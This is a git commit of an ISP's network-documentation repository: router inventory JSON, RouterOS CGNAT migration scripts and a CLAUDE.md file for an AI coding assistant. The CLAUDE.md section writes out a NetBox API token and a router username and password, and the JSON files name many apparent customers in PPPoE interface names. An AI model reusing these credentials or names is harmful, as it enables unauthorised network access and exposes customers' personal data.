This commit is contained in:
Graham McIntire 2026-05-08 17:47:42 -05:00
commit 177a560cba
No known key found for this signature in database
GPG key ID: F4ABF488E6029E59
89 changed files with 72160 additions and 0 deletions

367
380_core_router_data.json Normal file
View file

@ -0,0 +1,367 @@
{
"host": "10.254.254.253",
"identity": null,
"timestamp": "2025-10-04T11:06:19.612193",
"subnets": [
{
"address": "204.110.191.185/30",
"network": "204.110.191.184",
"interface": "sfp-sfpplus1-edge-preseem",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.89/29",
"network": "10.250.1.88",
"interface": "ether5-climax",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.62/29",
"network": "10.250.1.56",
"interface": "ether4-newhope",
"comment": "",
"dynamic": false
},
{
"address": "204.110.191.181/30",
"network": "204.110.191.180",
"interface": "ether3-edge-direct",
"comment": "",
"dynamic": false
},
{
"address": "10.254.254.253/32",
"network": "10.254.254.253",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "10.250.2.6/29",
"network": "10.250.2.0",
"interface": "ether2-office",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.38/29",
"network": "10.250.1.32",
"interface": "ether1-982-60ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.54/29",
"network": "10.250.1.48",
"interface": "ether6-culleoka-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "100.64.11.254/22",
"network": "100.64.8.0",
"interface": "combo1-380",
"comment": "",
"dynamic": false
},
{
"address": "10.10.79.254/20",
"network": "10.10.64.0",
"interface": "vlan10_combo1",
"comment": "",
"dynamic": false
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.183",
"interface": "<pppoe-luiscabrera>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.174",
"interface": "<pppoe-mariacortes-1>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.173",
"interface": "<pppoe-terrybates-1>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.180",
"interface": "<pppoe-erinthompson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.11.253/32",
"network": "100.64.11.177",
"interface": "<pppoe-brianhardesty>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "combo1-380",
"type": "ether",
"mac": "64:D1:54:EF:AD:77",
"comment": "",
"mtu": 1500
},
{
"name": "ether1-982-60ghz",
"type": "ether",
"mac": "64:D1:54:EF:AD:78",
"comment": "",
"mtu": 1500
},
{
"name": "ether2-office",
"type": "ether",
"mac": "64:D1:54:EF:AD:79",
"comment": "",
"mtu": 1500
},
{
"name": "ether3-edge-direct",
"type": "ether",
"mac": "64:D1:54:EF:AD:7A",
"comment": "",
"mtu": 1500
},
{
"name": "ether4-newhope",
"type": "ether",
"mac": "64:D1:54:EF:AD:7B",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-climax",
"type": "ether",
"mac": "64:D1:54:EF:AD:7C",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-culleoka-11ghz",
"type": "ether",
"mac": "64:D1:54:EF:AD:7D",
"comment": "",
"mtu": 9000
},
{
"name": "sfp-sfpplus1-edge-preseem",
"type": "ether",
"mac": "64:D1:54:EF:AD:76",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-brianhardesty>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-erinthompson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-luiscabrera>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mariacortes-1>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-terrybates-1>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "0E:66:73:AA:10:86",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_combo1",
"type": "vlan",
"mac": "64:D1:54:EF:AD:77",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_combo1",
"vlan_id": 10,
"interface": "combo1-380"
}
],
"pppoe_servers": [
{
"service_name": 380,
"interface": "combo1-380"
}
],
"routes": [
{
"destination": "10.10.0.0/20",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.10.16.0/20",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.10.160.0/20",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.160.0/20",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.0.0/22",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.4.0/22",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.12.0/22",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.32/27",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.64/27",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.224/27",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.191.0/27",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.8/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.24/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.24/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.64/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.64/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.88/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.250.1.144/29",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.101/32",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.102/32",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.111/32",
"gateway": "10.250.1.94",
"distance": 1,
"comment": ""
}
]
}

View file

@ -0,0 +1,78 @@
{
"host": "10.254.254.254",
"timestamp": "2025-10-04T11:10:47.465125",
"subnets": [
{
"address": "71.41.226.118/30",
"network": "71.41.226.116",
"interface": "sfp-sfpplus12-spectrum",
"comment": ""
},
{
"address": "204.110.191.186/30",
"network": "204.110.191.184",
"interface": "sfp-sfpplus11-preseem",
"comment": ""
},
{
"address": "204.110.191.254/26",
"network": "204.110.191.192",
"interface": "vlan9_sfpplus8",
"comment": ""
},
{
"address": "10.254.254.254/32",
"network": "10.254.254.254",
"interface": "loopback",
"comment": ""
},
{
"address": "204.110.191.182/30",
"network": "204.110.191.180",
"interface": "sfp-sfpplus7-core-direct",
"comment": ""
},
{
"address": "10.0.0.254/24",
"network": "10.0.0.0",
"interface": "sfp-sfpplus8-server-switch",
"comment": ""
},
{
"address": "204.110.190.128/25",
"network": "204.110.190.128",
"interface": "cgnat",
"comment": "CGNAT pool"
}
],
"interfaces": [
{
"name": "sfp-sfpplus7-core-direct",
"type": "ether"
},
{
"name": "sfp-sfpplus8-server-switch",
"type": "ether"
},
{
"name": "sfp-sfpplus11-preseem",
"type": "ether"
},
{
"name": "sfp-sfpplus12-spectrum",
"type": "ether"
},
{
"name": "cgnat",
"type": "bridge"
},
{
"name": "loopback",
"type": "bridge"
},
{
"name": "vlan9_sfpplus8",
"type": "vlan"
}
]
}

325
494_router_data.json Normal file
View file

@ -0,0 +1,325 @@
{
"host": "10.254.254.111",
"identity": null,
"timestamp": "2025-10-04T10:57:42.536564",
"subnets": [
{
"address": "10.254.254.111/32",
"network": "10.254.254.111",
"interface": "loopback0",
"comment": "Loopback",
"dynamic": false
},
{
"address": "10.250.1.65/29",
"network": "10.250.1.64",
"interface": "ether2-climax",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.94/27",
"network": "204.110.188.64",
"interface": 494,
"comment": "",
"dynamic": false
},
{
"address": "10.64.175.254/20",
"network": "10.64.160.0",
"interface": 494,
"comment": "",
"dynamic": false
},
{
"address": "10.10.175.254/20",
"network": "10.10.160.0",
"interface": "management",
"comment": "",
"dynamic": false
},
{
"address": "100.64.175.254/20",
"network": "100.64.160.0",
"interface": 494,
"comment": "",
"dynamic": false
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.213",
"interface": "<pppoe-victoriaobier>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.212",
"interface": "<pppoe-stephenbeegle>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.210",
"interface": "<pppoe-mattkosarek>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.209",
"interface": "<pppoe-stevemolina>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.208",
"interface": "<pppoe-daycor>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.207",
"interface": "<pppoe-cathyday>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.206",
"interface": "<pppoe-olgagutierrez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.205",
"interface": "<pppoe-ashleysmith>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.204",
"interface": "<pppoe-stephenday>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.202",
"interface": "<pppoe-donmckinney>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.214",
"interface": "<pppoe-joannarodriguez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.211",
"interface": "<pppoe-kevinarana>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.175.254/32",
"network": "100.64.174.203",
"interface": "<pppoe-melodymccarty>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether2-climax",
"type": "ether",
"mac": "DC:2C:6E:DD:87:55",
"comment": "ether2",
"mtu": 1500
},
{
"name": "ether5",
"type": "ether",
"mac": "DC:2C:6E:DD:87:58",
"comment": "ether5",
"mtu": 1500
},
{
"name": "ether6",
"type": "ether",
"mac": "DC:2C:6E:DD:87:59",
"comment": "ether6",
"mtu": 1500
},
{
"name": 494,
"type": "bridge",
"mac": "DC:2C:6E:DD:87:58",
"comment": "",
"mtu": "auto"
},
{
"name": "<pppoe-ashleysmith>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-cathyday>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-daycor>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-donmckinney>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joannarodriguez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kevinarana>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mattkosarek>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-melodymccarty>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-olgagutierrez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-stephenbeegle>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-stephenday>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-stevemolina>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-victoriaobier>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback0",
"type": "bridge",
"mac": "AE:B5:02:38:0E:73",
"comment": "Loopback",
"mtu": "auto"
},
{
"name": "management",
"type": "bridge",
"mac": "DC:2C:6E:DD:87:58",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_ether5",
"type": "vlan",
"mac": "DC:2C:6E:DD:87:58",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether6",
"type": "vlan",
"mac": "DC:2C:6E:DD:87:59",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether5",
"vlan_id": 10,
"interface": "ether5"
},
{
"name": "vlan10_ether6",
"vlan_id": 10,
"interface": "ether6"
},
{
"name": "vlan10_ether7",
"vlan_id": 10,
"interface": "ether7"
},
{
"name": "vlan10_ether8",
"vlan_id": 10,
"interface": "ether8"
}
],
"pppoe_servers": [
{
"service_name": 494,
"interface": 494
}
],
"routes": []
}

View file

@ -0,0 +1,49 @@
# 982 Router CGNAT Migration Script
# Changes CGNAT from 100.64.32.0/22 to 100.64.48.0/20
# This gives 4x more addresses (1,024 -> 4,096)
#
# IMPORTANT: This will cause a brief service interruption
# Run during maintenance window
#
# Current: 100.64.32.0/22 (100.64.32.1 - 100.64.35.254)
# New: 100.64.48.0/20 (100.64.48.1 - 100.64.63.254)
# Step 1: Add new IP pool (do this first to prepare)
/ip pool add name=cgnat-new ranges=100.64.48.1-100.64.63.199
# Step 2: Add new IP address to the interface
/ip address add address=100.64.63.254/20 interface=982 comment="New CGNAT subnet"
# Step 3: Create new PPP profile pointing to new pool
/ppp profile add name=982-new local-address=100.64.63.253 remote-address=cgnat-new
# Step 4: Update PPPoE server to use new profile
/interface pppoe-server server set [find name=982] default-profile=982-new
# Step 5: Wait for existing sessions to reconnect (they will get new IPs)
# Monitor with: /ppp active print count-only
:delay 30s
# Step 6: Check that clients are getting new IPs
# /ppp active print brief
# Step 7: After confirming all clients have new IPs, remove old configuration
# WARNING: Only run these after confirming migration is successful!
# Remove old IP address
# /ip address remove [find address="100.64.35.254/22"]
# Remove old IP pool
# /ip pool remove [find name=cgnat]
# Remove old PPP profile
# /ppp profile remove [find name=982]
# Step 8: Rename new items to standard names
# /ip pool set [find name=cgnat-new] name=cgnat
# /ppp profile set [find name=982-new] name=982
# Step 9: Update any firewall NAT rules if needed
# Check with: /ip firewall nat print where src-address~"100.64.32"
# Step 10: Update NetBox documentation with new subnet

View file

@ -0,0 +1,84 @@
# 982 Router CGNAT Migration Script - SAFE VERSION
# This version adds the new configuration alongside the old one
# Allows gradual migration without service interruption
#
# Migration: 100.64.32.0/22 -> 100.64.48.0/20
# Matches management subnet pattern (10.10.48.0/20)
# PREPARATION PHASE - Run these first
{
# Add new CGNAT pool with expanded range
/ip pool add name=cgnat-new ranges=100.64.48.1-100.64.63.199 comment="New /20 CGNAT pool"
# Add new IP address (keep old one for now)
/ip address add address=100.64.63.254/20 interface=982 comment="New CGNAT gateway /20"
# Create temporary PPP profile for migration
/ppp profile add name=982-migrate local-address=100.64.63.253 remote-address=cgnat-new comment="Migration profile"
# Print current state
:put "New CGNAT configuration added. Current state:"
/ip pool print where name~"cgnat"
/ip address print where interface=982
/ppp profile print where name~"982"
}
# TESTING PHASE - Test with one client
{
# Change one PPPoE client to test
# Replace 'testclient' with actual username
# /ppp secret set [find name="testclient"] profile=982-migrate
# Have client reconnect and verify they get IP from new range
# Check with: /ppp active print where name="testclient"
}
# MIGRATION PHASE - Run during maintenance window
{
# Update PPPoE server to use new profile for new connections
/interface pppoe-server server set [find name=982] default-profile=982-migrate
# Force all clients to reconnect (will cause brief outage)
# /ppp active remove [find]
# Or disconnect clients gradually:
# :foreach i in=[/ppp active find] do={
# /ppp active remove $i
# :delay 1s
# }
}
# VERIFICATION COMMANDS
{
# Check active connections
:put "Active PPPoE connections by IP range:"
:put "Old range (100.64.32.x): $([:len [/ppp active find where address~"100.64.32"]])"
:put "Old range (100.64.33.x): $([:len [/ppp active find where address~"100.64.33"]])"
:put "Old range (100.64.34.x): $([:len [/ppp active find where address~"100.64.34"]])"
:put "Old range (100.64.35.x): $([:len [/ppp active find where address~"100.64.35"]])"
:put "New range (100.64.48-63.x): $([:len [/ppp active find where address~"100.64.[45][0-9]"]])"
}
# CLEANUP PHASE - Only run after ALL clients migrated
{
# Remove old configuration
# /ip address remove [find address="100.64.35.254/22"]
# /ip pool remove [find name=cgnat]
# /ppp profile remove [find name=982]
# Rename new items to standard names
# /ip pool set [find name=cgnat-new] name=cgnat comment="982 CGNAT pool /20"
# /ppp profile set [find name=982-migrate] name=982 comment=""
# /ip address set [find address="100.64.63.254/20"] comment="982 CGNAT gateway"
}
# ROLLBACK COMMANDS - If something goes wrong
{
# Revert PPPoE server to old profile
# /interface pppoe-server server set [find name=982] default-profile=982
# Remove new configuration
# /ip address remove [find address="100.64.63.254/20"]
# /ip pool remove [find name=cgnat-new]
# /ppp profile remove [find name=982-migrate]
}

22
982_config_export.txt Normal file
View file

@ -0,0 +1,22 @@
# Configuration for router (10.254.254.110)
# Exported on 2025-10-04 11:22:56
# IP Addresses
/ip address add address=10.254.254.110/32 interface=loopback
/ip address add address=10.250.1.33/29 interface=ether7-380
/ip address add address=10.10.63.254/20 interface=mgmt
/ip address add address=100.64.35.254/22 interface=982
/ip address add address=204.110.188.126/27 interface=982
# IP Pools
/ip pool add name=cgnat ranges=100.64.32.1-100.64.35.199
/ip pool add name=mgmt ranges=10.10.48.1-10.10.62.254
/ip pool add name=public ranges=204.110.189.1-204.110.189.29
# PPPoE Servers
/interface pppoe-server server add name=982 interface=982 default-profile=982
# PPP Profiles
/ppp profile add name=982 local-address=100.64.35.253 remote-address=cgnat
# NAT Rules

503
982_router_data.json Normal file
View file

@ -0,0 +1,503 @@
{
"host": "10.254.254.110",
"identity": null,
"timestamp": "2025-10-04T10:59:31.988938",
"subnets": [
{
"address": "10.254.254.110/32",
"network": "10.254.254.110",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.33/29",
"network": "10.250.1.32",
"interface": "ether7-380",
"comment": "",
"dynamic": false
},
{
"address": "10.10.63.254/20",
"network": "10.10.48.0",
"interface": "mgmt",
"comment": "",
"dynamic": false
},
{
"address": "100.64.35.254/22",
"network": "100.64.32.0",
"interface": 982,
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.126/27",
"network": "204.110.188.96",
"interface": 982,
"comment": "",
"dynamic": false
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.199",
"interface": "<pppoe-derrickmccausland>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.198",
"interface": "<pppoe-coreyball>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.197",
"interface": "<pppoe-kennethcampbell2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.196",
"interface": "<pppoe-joshuasoliz>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.195",
"interface": "<pppoe-krisdougherty>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.194",
"interface": "<pppoe-zackknuckey>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.193",
"interface": "<pppoe-jackworthy>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.192",
"interface": "<pppoe-joselucas>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.191",
"interface": "<pppoe-nicolemaenn>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.190",
"interface": "<pppoe-melanieweddle>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.189",
"interface": "<pppoe-scottanderson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.188",
"interface": "<pppoe-rickbeckham>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.187",
"interface": "<pppoe-juanalonzo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.186",
"interface": "<pppoe-davidvillanueva>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.185",
"interface": "<pppoe-connorspicer>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.184",
"interface": "<pppoe-elisasanders>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.182",
"interface": "<pppoe-terryrector>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.180",
"interface": "<pppoe-richardrosson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.183",
"interface": "<pppoe-belindamillener>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.179",
"interface": "<pppoe-alextovias>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.35.253/32",
"network": "100.64.35.181",
"interface": "<pppoe-shelbyburris>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "combo1",
"type": "ether",
"mac": "DC:2C:6E:66:50:BE",
"comment": "",
"mtu": 1500
},
{
"name": "ether1",
"type": "ether",
"mac": "DC:2C:6E:66:50:BF",
"comment": "",
"mtu": 1500
},
{
"name": "ether2",
"type": "ether",
"mac": "DC:2C:6E:66:50:C0",
"comment": "",
"mtu": 1500
},
{
"name": "ether3",
"type": "ether",
"mac": "DC:2C:6E:66:50:C1",
"comment": "",
"mtu": 1500
},
{
"name": "ether4",
"type": "ether",
"mac": "DC:2C:6E:66:50:C2",
"comment": "",
"mtu": 1500
},
{
"name": "ether5",
"type": "ether",
"mac": "DC:2C:6E:66:50:C3",
"comment": "",
"mtu": 1500
},
{
"name": "ether6",
"type": "ether",
"mac": "DC:2C:6E:66:50:C4",
"comment": "",
"mtu": 1500
},
{
"name": "ether7-380",
"type": "ether",
"mac": "DC:2C:6E:66:50:C5",
"comment": "",
"mtu": 1500
},
{
"name": 982,
"type": "bridge",
"mac": "DC:2C:6E:66:50:BE",
"comment": "",
"mtu": "auto"
},
{
"name": "<pppoe-alextovias>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-belindamillener>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-connorspicer>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-coreyball>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-davidvillanueva>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-derrickmccausland>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-elisasanders>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jackworthy>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joselucas>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joshuasoliz>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-juanalonzo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kennethcampbell2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-krisdougherty>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-melanieweddle>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-nicolemaenn>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-richardrosson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-rickbeckham>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-scottanderson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-shelbyburris>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-terryrector>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-zackknuckey>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "26:96:F5:50:C7:CC",
"comment": "",
"mtu": "auto"
},
{
"name": "mgmt",
"type": "bridge",
"mac": "DC:2C:6E:66:50:BF",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_ether1",
"type": "vlan",
"mac": "DC:2C:6E:66:50:BF",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether2",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C0",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether3",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C1",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether4",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C2",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether5",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C3",
"comment": "",
"mtu": 1500
},
{
"name": "vlan10_ether6",
"type": "vlan",
"mac": "DC:2C:6E:66:50:C4",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether1",
"vlan_id": 10,
"interface": "ether1"
},
{
"name": "vlan10_ether2",
"vlan_id": 10,
"interface": "ether2"
},
{
"name": "vlan10_ether3",
"vlan_id": 10,
"interface": "ether3"
},
{
"name": "vlan10_ether4",
"vlan_id": 10,
"interface": "ether4"
},
{
"name": "vlan10_ether5",
"vlan_id": 10,
"interface": "ether5"
},
{
"name": "vlan10_ether6",
"vlan_id": 10,
"interface": "ether6"
}
],
"pppoe_servers": [
{
"service_name": 982,
"interface": 982
}
],
"routes": []
}

334
CLAUDE.md Normal file
View file

@ -0,0 +1,334 @@
# CLAUDE.md
This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
## Project Overview
This is a network documentation and discovery project that integrates with NetBox.
## NetBox Integration
- **NetBox URL**: https://netbox.vntx.net/
- **API Key**: e50298f7fd20f7fd6f1931f635511b34f6e8cfde
- **Purpose**: Network documentation and discovery
## Development Guidelines
### NetBox API Usage
- Use the provided API key for authentication with NetBox
- The NetBox instance is located at https://netbox.vntx.net/
- Follow NetBox API documentation for proper endpoint usage
- The netbox api token is in env var NETBOX_KEY
### Security Notes
- Never commit API keys directly in code files
- Use environment variables or configuration files for sensitive data
- The API key provided should be stored securely
## Common Tasks
### NetBox API Connection
When connecting to NetBox, use:
- Base URL: `https://netbox.vntx.net/api/`
- Authentication header: `Authorization: Token e50298f7fd20f7fd6f1931f635511b34f6e8cfde`
### MikroTik Router Connection
Connect to MikroTik routers using API-SSL:
- **Protocol**: API-SSL (port 8729)
- **Username**: `grahamro` (read-only)
- **Password**: `cFKhz8q5gPLoucMbcT1Iy58r3IXgc3`
- **Example - Verona Router**: `10.254.254.101`
Use the `mikrotik_connect.py` script to connect and retrieve router information:
```bash
python3 mikrotik_connect.py
```
The script handles SSL connection, authentication, and can retrieve:
- IP addresses and subnets
- Interface configurations
- Routing tables
- PPPoE connections
## Router Access Credentials
### MikroTik Routers
- Read-only access via API-SSL: username `grahamro`, password `cFKhz8q5gPLoucMbcT1Iy58r3IXgc3`
### Verona Routers
- Verona router is 10.254.254.101
### Additional Router IP Addresses
- Climax router: 10.254.254.102
- Culleoka router: 10.254.254.104
## NetBox Site and Device Creation Process
### Creating a new site and router in NetBox:
1. **Create Site**: Use `create_verona_site_and_router.py` as template
- Site name and slug (lowercase, hyphenated)
- Status: 'active'
- Comments describing the site
2. **Create Device**:
- Manufacturer: MikroTik
- Device Type: RouterBOARD
- Device Role: Router
- Primary IP: Router's loopback IP (e.g., 10.254.254.101/32)
3. **Add Network Data**: Use `update_netbox_verona.py` as template
- Creates prefixes with proper roles (Infrastructure, Customer, Management, Loopback)
- Creates interfaces on the device
- Associates IP addresses with interfaces
### API Authentication
- Always use environment variable `NETBOX_KEY` for API token
- Fallback to hardcoded token only if env var not set
## Generic Scripts for Network Management
### 1. Create Site Only in NetBox
```bash
# Basic usage
python3 create_site_only.py <site_name>
# With options
python3 create_site_only.py 380 --comments "Central site with multiple routers" --address "380 Main St"
```
### 2. Create Site and Router in NetBox
```bash
# Basic usage
python3 create_site_and_router.py <site_name> <router_ip>
# With options
